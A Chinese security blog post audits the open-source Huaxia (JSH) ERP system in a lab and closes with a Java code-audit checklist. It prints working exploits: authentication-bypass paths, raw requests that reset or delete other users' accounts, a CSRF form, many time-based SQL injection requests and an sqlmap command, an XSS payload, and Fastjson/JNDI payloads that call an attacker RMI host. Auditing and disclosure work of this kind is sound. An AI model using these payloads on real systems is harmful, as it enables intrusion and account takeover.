【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)

admin 2023年10月13日22:39:57评论171 views字数 18588阅读61分57秒阅读模式

文章正文约8100字,目录如下:

一、环境搭建

二、具体漏洞审计

(1)swagger-api文档信息泄露

(2)账号密码泄露漏洞

(3)暴力破解漏洞

(4)csrf漏洞

(5)sql注入(举一反三+yakit)

(6)逻辑漏洞(越权重置密码+越权删除用户)

(7)xss

(8)Fastjson漏洞

        1. /user/list处存在fastjson漏洞

        2. /material/getMaterialEnableSerialNumberList处存在fastjson漏洞

        3. /material/list处存在fastjson漏洞三、java代码审计方法论总结

一、环境搭建

审计版本为2.3,但是也会穿插3.0以上的版本中的漏洞。

# v2.3
git clone https://gitee.com/jishenghua/JSH_ERP.git -b v2.3

#
 v3.0+
git clone https://gitee.com/jishenghua/JSH_ERP.git

二、具体漏洞审计

(1)swagger-api文档信息泄露

华夏erp``v3.0以前,访问/v2/api-docsv3.0及以后,访问/jshERP-boot/v2/api-docs【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)虽然没什么敏感信息,但是还是泄露了不少接口信息,以及接口传参信息,可以测试是否存在未授权的情况。分析见下方(2)。

(2)账号密码泄露漏洞

华夏erp``v3.0以前,访问/user/getAllList;.icov3.0及以后,访问/jshERP-boot/user/getAllList;.ico【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)用户名是明文,密码是md5加密的,解密即可直接登录。漏洞分析:在IDEA中双击shift打开全局搜索,搜索@WebFilter,可以看到作者自定义了一个LogCostFilter来做登录的判断:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)在继续看这段代码后面的代码:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)可以看到作者把之前的ignoredUrl按照分隔符#来分开,并存入ignoredList,然后在这个doFilter函数中进行以下三个判断:如果url中包含/doc.html*或者/register.html*或者/login.html*,那么就不认证该请求;如果url中包含.css.js.jpg.png.gif.ico,那么也不认证该请求;如果请求的路由是以/user/login/user/registerUser/v2/api-docs,那么也不认证该请求。这就直接解释了上面(1)中的未授权获取api文档的原因。我们可以在UserController.java中看到有一些get方法的路由:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)尝试拼接;.ico来进行未授权访问,发现都是可行的:

http://192.168.161.4:8080/user/getAllList;.ico
http://192.168.161.4:8080/user/getUserList;.ico

【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)尝试利用第二种思路来绕过,确认可行:

POST /user/resetPwd HTTP/1.1
Host: 10.0.184.49:8080
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://10.0.184.49:8080/pages/manage/user.html
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.0.184.49:8080
Cookie: JSESSIONID=B4387835AFAA3C0481CFA6A4E8AB0C7B; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1697113234; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1697113754
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 6

id=131

【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)尝试利用第三种思路来绕过,也是可以的:

GET /user/login/../getAllList HTTP/1.1
Host: 10.0.77.188:8080
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696836740; JSESSIONID=85340F59235BDDD1EEA36C2C54465045; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696839128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
Referer: http://10.0.77.188:8080/

【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)当然对于v3.0以上的版本,有如下绕过方式:

/a.ico/../
/jshERP-boot/doc.html/../../
/jshERP-boot/register.html/../../
/jshERP-boot/login.html/../../
/jshERP-boot/user/login/../../../
/jshERP-boot/user/registerUser/../../../
/jshERP-boot/user/randomImage/../../../
/jshERP-boot/platformConfig/getPlatform/../../../
/jshERP-boot/v2/api-docs/../../../
/jshERP-boot/webjars/../../
/jshERP-boot/systemConfig/static/../../../

通过白名单+目录穿越的方式实现绕过。防御思路就是采用Shiro或者Spring Security这种权限认证框架。

(3)暴力破解漏洞

这个系统没有设置任何安全防护措施,导致直接可以暴力破解:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)

(4)csrf漏洞

3.0版本以前是存在这个漏洞的:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)poc如下(我这里是演示在用户未知的情况下点击按钮实现消息已读):

<html>
<body>
<form action="http://10.0.77.188:8080/msg/batchUpdateStatus" method="POST" name="form1" enctype="application/x-www-form-urlencoded" >
<input type="hidden" name="ids" value="2"/>
<input type="hidden" name="status" value="0"/>
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('''''/');</script>
</body>
</html>

但是3.0版本开始之后这个漏洞就被修了,作者加了个X-Access-Token参数来验证:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)具体token的生成代码见如下函数:com.jsh.erp.service.user.UserService#login【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)生成完了之后会放到redis缓存中,用的时候再拿:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)

(5)sql注入(举一反三+yakit)

从项目的目录结构中我们可以看到作者只写了一个filter,就是我们之前看到的那个LogCostFilter【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)也就是说,并没有对常见的sqlxss进行过滤,很有可能存在sql注入漏洞。我们全局搜索${(因为mybatis#{是会经过预编译再执行的,而${则不会,很有可能存在漏洞):【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)点进去查看:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)再全局搜索selectByConditionUser,发现调用位置为com.jsh.erp.service.user.UserService#select【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)按住CTRL+H然后点击函数,即可看到调用位置为com.jsh.erp.service.user.UserComponent#getUserList【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)可以看到这里的usernamepassword是直接通过com.jsh.erp.utils.StringUtil#getInfo函数获取到的。可以看到在这个函数中调用了fastjson中的com.alibaba.fastjson.JSON#parseObject(java.lang.String)方法,去解析一个变量叫做search,结合命名,不难猜测到应该是这里的功能点:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)发现确实有这个参数:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)那就看传入的userNameloginName有没有经过过滤了。我们回到之前的com.jsh.erp.service.user.UserComponent#getUserList这个函数,向上走即可看到就是在上面的com.jsh.erp.service.user.UserComponent#select进行调用的:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)再往上追踪这里的select函数,可以看到上一层调用是在com.jsh.erp.service.CommonQueryManager#select这个函数中:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)这里我们可以看到有一个getCommonQuery方法和他的参数apiName,我们点进该方法,可以看到先是一个init函数来初始化configComponentMap【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)可以看到上图中红框框出来的部分返回值的类型是一个作者自定义的ICommonQuery类型,那就奇怪了,这个类型怎么会有select方法呢?于是我继续跟进ICommonQuery,可以看到原来它调用的是com.jsh.erp.service.ICommonQuery#select这个自定义的select函数:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)我们再跟进com.jsh.erp.service.CommonQueryManager#select这个函数,可以看到调用点位于com.jsh.erp.controller.ResourceController#getList(java.lang.String, java.lang.Integer, java.lang.Integer, java.lang.String, javax.servlet.http.HttpServletRequest)【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)可以看到,这里的apiName就是我们请求路由中的user,然后从请求中获取search的值,放入parameterMap中,键为Constants.SEARCH。我们在这里添加一行代码,并打上断点然后debug

System.out.println(Arrays.toString(configComponents));

【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)从中我们可以看到ICommonQuery[] configComponents这个定义,实际上是把所有继承自ICommonQuery的类的实例保存到一个数组里面,那都是哪里继承自ICommonQuery呢?我们查看ICommonQuery接口的implementations,可以看到是service文件夹下的各个目录的各个component【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)也就是说service下的每一个文件夹的名字就是apiName,根据这个apiName找到对应的组件文件,例如UserComponent.java,然后调用对应的select方法,通过select方法调用getUserList方法,先从parameterMap中根据键值获取search,然后再从search中获取userNameloginName,接着调用userServiceselect方法。然后通过mybatis映射com.jsh.erp.datasource.mappers.UserMapperEx#selectByConditionUser来执行sql查询。【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)我这里用yakit加载了sql注入启发式检测的插件,已经疯狂提示我存在sql注入了:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)用sqlmap直接跑来验证:

python sqlmap.py -r res.txt --dbms Mysql --level 3 --dbs

【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)当然,类似的sql注入点还有很多很多,我这里直接给出poc,比如:

GET /msg/getMsgCountByStatus?status=1%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.045404347415217%29--+ HTTP/1.1
Host: 10.0.241.61:8080
Cookie: JSESSIONID=5814C17C1BBECE611910AF467A0955B1; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696992878; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696992888
X-Requested-With: XMLHttpRequest
Referer: http://10.0.241.61:8080/index.html
Accept-Encoding: gzip, deflate
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
GET /role/list?currentPage=1&pageSize=15&search=%7B%22name%22%3A%22%E7%A7%9F%E6%88%B7%25%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.066%29--+%22%7D HTTP/1.1
Host: 10.0.241.61:8080
Referer: http://10.0.241.61:8080/pages/manage/role.html
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994730
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
GET /account/list?currentPage=1&pageSize=15&search=%7B%22name%22%3A%22%22%2C%22remark%22%3A%22%22%2C%22serialNo%22%3A%22zzz111%25%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.278001282042502%29--+%22%7D HTTP/1.1
Host: 10.0.241.61:8080
Accept-Encoding: gzip, deflate
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696995270
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://10.0.241.61:8080/pages/reports/account_report.html
GET /depotHead/list?currentPage=1&pageSize=15&search=%7B%22beginTime%22%3A%22%22%2C%22depotIds%22%3A%22%22%2C%22endTime%22%3A%22%22%2C%22materialParam%22%3A%22%22%2C%22number%22%3A%22CGDD00000000345%22%2C%22roleType%22%3A%22%E5%85%A8%E9%83%A8%E6%95%B0%E6%8D%AE%22%2C%22status%22%3A%22%22%2C%22subType%22%3A%22%E9%87%87%E8%B4%AD%E8%AE%A2%E5%8D%95%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.0966381014955253%29--+%22%2C%22type%22%3A%22%E5%85%B6%E5%AE%83%22%7D HTTP/1.1
Host: 10.0.241.61:8080
X-Requested-With: XMLHttpRequest
Referer: http://10.0.241.61:8080/pages/bill/purchase_orders_list.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696995455
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
GET /materialProperty/list?currentPage=1&pageSize=100&search=%7B%22name%22%3A%22%25%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.0620910241654653%29--+%22%7D HTTP/1.1
Host: 10.0.241.61:8080
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://10.0.241.61:8080/pages/bill/retail_back_list.html
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696995472
GET /systemConfig/list?currentPage=1&pageSize=15&search=%7B%22companyName%22%3A%22%25%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.0433219806739986%29--+%22%7D HTTP/1.1
Host: 10.0.241.61:8080
Accept-Language: zh-CN,zh;q=0.9
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696995829
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Referer: http://10.0.241.61:8080/pages/manage/systemConfig.html
GET /materialProperty/list?currentPage=1&pageSize=15&search=%7B%22name%22%3A%22%25%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.039899494936612%29--+%22%7D HTTP/1.1
Host: 10.0.241.61:8080
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696995822
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://10.0.241.61:8080/pages/materials/materialProperty.html
GET /person/list?currentPage=1&pageSize=15&search=%7B%22name%22%3A%22%25%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.0524320512433443%29--+%22%2C%22type%22%3A%22%22%7D HTTP/1.1
Host: 10.0.241.61:8080
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696996002
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Referer: http://10.0.241.61:8080/pages/manage/person.html
Accept-Language: zh-CN,zh;q=0.9
X-Requested-With: XMLHttpRequest
GET /supplier/list?currentPage=1&pageSize=15&search=%7B%22description%22%3A%22%22%2C%22phonenum%22%3A%22%22%2C%22supplier%22%3A%22%22%2C%22telephone%22%3A%22%22%2C%22type%22%3A%22%E4%BE%9B%E5%BA%94%E5%95%86%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%284.0345239095939%29--+%22%7D HTTP/1.1
Host: 10.0.241.61:8080
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696996018
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Referer: http://10.0.241.61:8080/pages/manage/vendor.html
Accept-Encoding: gzip, deflate
GET /supplier/list?currentPage=1&pageSize=15&search=%7B%22description%22%3A%22%22%2C%22phonenum%22%3A%22%25%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.4777042140555876%29--+%22%2C%22supplier%22%3A%22%22%2C%22telephone%22%3A%22%22%2C%22type%22%3A%22%E4%BC%9A%E5%91%98%22%7D HTTP/1.1
Host: 10.0.241.61:8080
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696996012
X-Requested-With: XMLHttpRequest
Referer: http://10.0.241.61:8080/pages/manage/member.html
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate

实在是太多了,就不一一列举了,直接说快速检测的批量方法:我们在yakit中勾选启发式sql注入检测的插件,然后点击劫持,然后对各个查询的功能点挨个输入参数查询即可:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)然后查看即可:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)太爽了有没有哈哈~

(6)逻辑漏洞(越权重置密码+越权删除用户)

漏洞点位置:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)但是只有admin才有修改密码这个功能,不过我们可以利用之前(2)中的方法来绕过。也就是说,我们可以利用普通用户构造如下数据包来越权修改他人的密码为初始密码123456,我们先登录用户jsh/123456,然后抓包改包为如下内容:

POST /login.html/../user/resetPwd HTTP/1.1
Host: 10.0.184.49:8080
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://10.0.184.49:8080/pages/manage/user.html
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.0.184.49:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 6

id=131

修改前:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)发包后:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)注意这里我们需要把cookie删掉,这样就是在未授权的情况下重置他人的密码:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)删除用户的话同理,改包如下:

POST /login.html/../user/deleteUser HTTP/1.1
Host: 10.0.184.49:8080
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://10.0.184.49:8080/pages/manage/user.html
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.0.184.49:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 6

id=131

删除之前:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)删除之后:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)以上漏洞出现的原理也非常简单:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)除了用户名不能为admin之外就没有任何的判断逻辑了。

(7)xss

payload

<script>alert(1)</script>

很多地方都可以插入这种xsspayload,而且必定成功,因为作者在这个2.3版本中完全没有写相关的过滤代码。【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)点击保存之后,即可触发弹窗:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)

(8)Fastjson漏洞

由于之前我们在信息搜集阶段已经知道使用的fastjson版本是1.2.55,明显是存在漏洞的,关于fastjson漏洞的学习与分析,可以看我之前写的文章:https://mp.weixin.qq.com/s/SOKLC_No0hV9RhAavF2hcw

/user/list处存在fastjson漏洞

在我们之前(5)的分析中,我们已经知道,在用户管理那里是使用了fastjson的,我们可以先试试看能否利用,具体payload可以参考https://github.com/safe6Sec/Fastjson

{"@type":"java.net.Inet4Address","val":"awpcaa.dnslog.cn"}

url编码然后发送:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)

/login.html/../user/list?search=%7b%22%40%74%79%70%65%22%3a%22%6a%61%76%61%2e%6e%65%74%2e%49%6e%65%74%34%41%64%64%72%65%73%73%22%2c%22%76%61%6c%22%3a%22%61%77%70%63%61%61%2e%64%6e%73%6c%6f%67%2e%63%6e%22%7d&currentPage=1&pageSize=15

【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)这里报错500但是没有关系,我们直接看dnslog这里:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)发现是存在漏洞的。尝试利用:

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

编译过程中如果出现下图中的报错,去设置里面开启跳过测试即可:【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A 10.0.184.49

拼接payload

{"@type":"com.sun.rowset.JdbcRowSetImpl""dataSourceName":"rmi://10.0.184.49:1099/ivs4fr""autoCommit":true}

url编码后发送,结果发现没有开启autotype【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)但是华夏erp是有mysql环境的,可以参考以下文章进行利用:

http://www.bmth666.cn/2022/10/19/Fastjson高版本的奇技淫巧/#蓝帽杯2022决赛-赌怪 https://www.cnblogs.com/kingbridge/articles/16720318.html https://blog.csdn.net/qq_42077227/article/details/130236560

事实上,search接口这里都是存在Fastjson漏洞的。

/material/getMaterialEnableSerialNumberList处存在fastjson漏洞

【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)验证:

{"@type":"java.net.Inet4Address","val":"pvsg6s.dnslog.cn"}

【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)

/material/list处存在fastjson漏洞

这里的所有search参数都是存在漏洞的。

{"@type":"java.net.Inet4Address","val":"piq45h.dnslog.cn"}

【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)漏洞原理也大致相同,都是调用到getInfo方法触发了fastjson漏洞。

三、java代码审计方法论总结

网上的分析思路总结:

  1. pom.xml,看使用了哪些依赖,如果使用了fastjsonlog4jlog4j2等这种存在已知漏洞的组件的话,就看版本是否对应,如果是就尝试利用;
  2. 看能否利用sql注入,先看是否存在jdbc注入,也就是有没有利用类似PreparedStatement预编译的这种机制而不是直接进行拼接;然后看是否存在Mybatis注入,具体查找方法就是找xml文件,然后朝朝关键点,比如&{},然后反推到DAO,再反推到实现的类,通过调用链找到前台url,找到利用点。

这种产生的原因可能如下:

# https://blog.csdn.net/qq_53079406/article/details/128270053

1. 模糊查询
使用#程序会报错 Select * from news where title like '%#{title}%'
(可能会把#号改成了$)
正确:Select * from news where tile like concat('%',#{title}, '%')

2. in 后有参数
使用# 同样会报错 Select * from news where id in (#{ids})
(可能会将将#替换为$)
正确(使用foreach) id in<foreach collection="ids" item="item" open="("separatosr="," close=")">#{ids} </foreach>

3. order by
order by使用的是$,而like和in没有问题

也有可能出现hibernate注入,出问题的思路和jdbc注入类似,不采用预编译而是直接拼接导致出现漏洞。

1、安全写法():参数绑定预编译
Query<User>.query=session.createNativeQuery("select * from user where name=:name");
query.setParameter("name",parameter) ;

2、不安全写法(User.java):直接拼接
Query<User>.query=session.createNativeQuery("select * from user where name="+req.getParameter("id"));
  1. 查找是否存在代码执行和函数执行漏洞,例如查找可执行函数、表达式注入、后端模板引擎(FreemarkerVelocityThymeleaf等)注入、第三方开源组件等。

  2. ssrf漏洞危险函数总结:

urlConnection.getInputStream
HttpURLConnection.getInputStream
URLConnection.getInutStream
HttpClient.execute
OkHttpClient.newCall.execute
Request.Get.execute
Request.Post.execute
URL.openStream
ImageIO.read
  1. xxe漏洞危险函数与关键字总结:
xlsx-streamer poi-ooxml
Documentbuilder|DocumentBuilderFactory|SAXReader|SAXParser|SAXParserFactory|SAXBuilder|TransformerFactory|reqXml|getInputStream|XMLReaderFactory|.newInstance|SchemaFactory|SAXTransformerFactory|javax.xml.bind|XMLReader|XmlUtils.get|Validator
javax.xml.parsers.DocumentBuilder
javax.xml.stream.XMLStreamReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.parsers.SAXParser
org.dom4j.io.SAXReader
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource
javax.xml.transform.TransformerFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.validation.SchemaFactory
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression
org.apache.commons.digester3.Digester
  1. 反序列化漏洞

序列化使用的地方主要有如下这些:

1、各种参数、cookie、sesion,存储时候可能会进行各种加密
2、Servlets http,Sockets,Session管理器(包含的协议:JMX,RMI,JMS,JNDI等)
3、xml:Xstream,XMLDecoder等(Content-type: application/xml)
4、json组件:例如jackson,fastjson等

危险函数总结:

ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
  1. 文件上传关键字
upload Upload
<form action=
filename fileName
new File(
enctype="multipart/form-data"
MultipartHttpServletRequest multipartRequest
ServletFileUpload
  1. 登录绕过关键字
setAttribute(
getRequestDispatcher(
new UserSession( new .*Session(
过滤器/拦截器bypass chain.doFilter(
.setAuthent
authenticate(
setSessionId(
new User.*
session.setAttribute("
关注第三方组建druid等 Druid-Session监控-前端页面: /druid/websession.html
Druid-Session监控-api接口: /druid/websession.json?orderBy=&orderType=asc&page=1&perPageCount=1000000
  1. 解压缩相关漏洞
ZipInputStream
unzip

参考文章:

https://www.cnblogs.com/piaomiaohongchen/p/17244664.html
https://blog.csdn.net/qq_53079406/article/details/128270053


原文始发于微信公众号(追梦信安):【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月13日22:39:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)https://cn-sec.com/archives/2109095.html

发表评论

匿名网友 填写信息